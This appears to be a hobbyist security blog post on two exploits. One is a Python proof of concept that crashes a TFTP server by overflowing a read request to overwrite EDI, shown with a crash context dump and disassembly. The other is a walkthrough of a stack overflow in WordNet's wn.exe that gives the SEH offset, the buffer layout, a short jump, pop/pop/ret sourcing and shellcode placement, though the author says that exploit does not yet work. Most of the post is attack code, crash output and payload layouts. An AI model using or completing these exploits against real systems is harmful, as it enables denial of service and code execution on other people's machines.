Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah

#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

Cool Stuff. Like the dude that found it said what a clasic!

http://wordnet.princeton.edu/2.1/WordNet-2.1.exe


in the function 'searchwn()', called from 'main()', there is a static 'char
tmpbuf[256]' into which an invalid command line option is copied using
sprintf(): } else {

sprintf(tmpbuf, “wn: invalid search option: %s\n”, av[j]);
display_message(tmpbuf);
errcount++;
}

So, you call wn.exe from the command line with an argument of -bleh you get:C:\Documents and Settings\e\My Documents\Visual Studio Projects\wordnet-sploit\D
ebug>wn -bleh
wn: invalid search word

C:\Documents and Settings\e\My Documents\Visual Studio Projects\wordnet-sploit\D
ebug>wn -bleh %s
wn: invalid search option: ïD$(â─►@ëD$↑ït$ ïF♦â╞♦;╟ët$ ☼à☺ ïD$↑;╟t↓^[_≈╪]ïî$¶☺

Or….

-bleh `python -c ‘print “A”*500′`

will crash it!

Using msfpattercreate we find that we overwrite the SEH Frame 357 bytes in.

buffer: A*353 + “BBBB” + “C”*400

Will overwrite the SEH Frame:

Since I’m on XP SP2, you can’t just do a call/jmp EBX so we need a pop/pop/ret. Get yours from kernel32.dll.

I used msfpescan to look for a universal, but all the pop/pop/ret’s I found had a null char in it

Your buf is gonna look like this when all is said and done:

buffer: A*353 + \x06\xeb\x90\x90\ + pop\pop\ret + shellcode.

Overflow the buffer, short jump forward, follow it up with a pop reg pop reg return into the shellcode.
Non working (Stack corruption in the sploit buf ) here.